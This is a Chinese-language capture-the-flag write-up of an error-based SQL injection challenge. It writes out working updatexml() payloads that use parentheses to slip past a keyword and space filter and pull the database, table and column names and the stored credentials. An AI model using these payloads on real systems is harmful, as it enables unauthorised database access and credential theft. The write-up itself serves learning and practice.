
今天做一题sql,也是学到了hhh,之前都没接过报错注入

老样子,找闭合,很快就找到了是单引号闭合'
接下来很多都被拦截了,也是手测了许多符号,下次不会了,结果如下:
ORDER by 的by会被拦截,空格会被拦截,无视大小写,*被拦截,union也被拦截,
--+被拦截,if会被拦截,and被拦截,=被拦截,&被拦截
#没被拦截
select没被拦截
updatexml()没被拦截到这里就需要介绍一下updatexml()了
UPDATEXML(xml_target, xpath_expr, new_val)
要修改的XML数据 XPath表达式 新的节点值
利用 MySQL/MariaDB 的 updatexml() 函数在处理非法的 XPath 语法时,
会将那个非法的字符串通过报错信息直接打印出来的特性,从而“带出”我们想要查询的数据。
0x7e是'~'号,不符合XPath语法,所以可以构造updatexml(1, concat(0x7e, version()), 1)打印报错由于题目拦截了空格,所以可以用()来代替空格实现分隔关键词
1:查找当前数据库:
1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#
得到当前数据库是geek
2:查找当前数据库的所有表:
1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#
information_schema.tables:存放所有表名的表,以及表对应的数据库名
table_schema:一个列,存放所有表对应的数据库名
所以这个语句就是查找所有geek数据库的表名
得到geek数据库的所有表名,这里只有一个:H4rDsq1
3:查找该表的所有列名
1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like(database())),0x7e),1))#
information_schema.columns:一个表名,该表存放了所有数据库的列,以及列对应的表名,数据库名
column_name:一个列,存放所有列的名字
这里因为geek库里面只有H4rDsq1这一个表,所以where筛选只筛选了数据库,得到的依旧是H4rDsq1表的所有列
所以这个语句就是查找所有
得到三个列:id,username,password
4:查看这三个列的内容了
1'or(updatexml(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1)),0x7e),1))#
发现id=1,username=flag,password=flag{337dd12e-9bc5-4e50-96
一看就是没有显示全,这里用right(password,25)显示右25个字符
1'or(updatexml(1,concat(0x7e,(select(group_concat(right(password,25)))from(H4rDsq1)),0x7e),1))#
得到5-4e50-9689-3053e306bb7f}
拼起来得到flag{337dd12e-9bc5-4e50-9689-3053e306bb7f}
无聊尝试登录一下
Login success!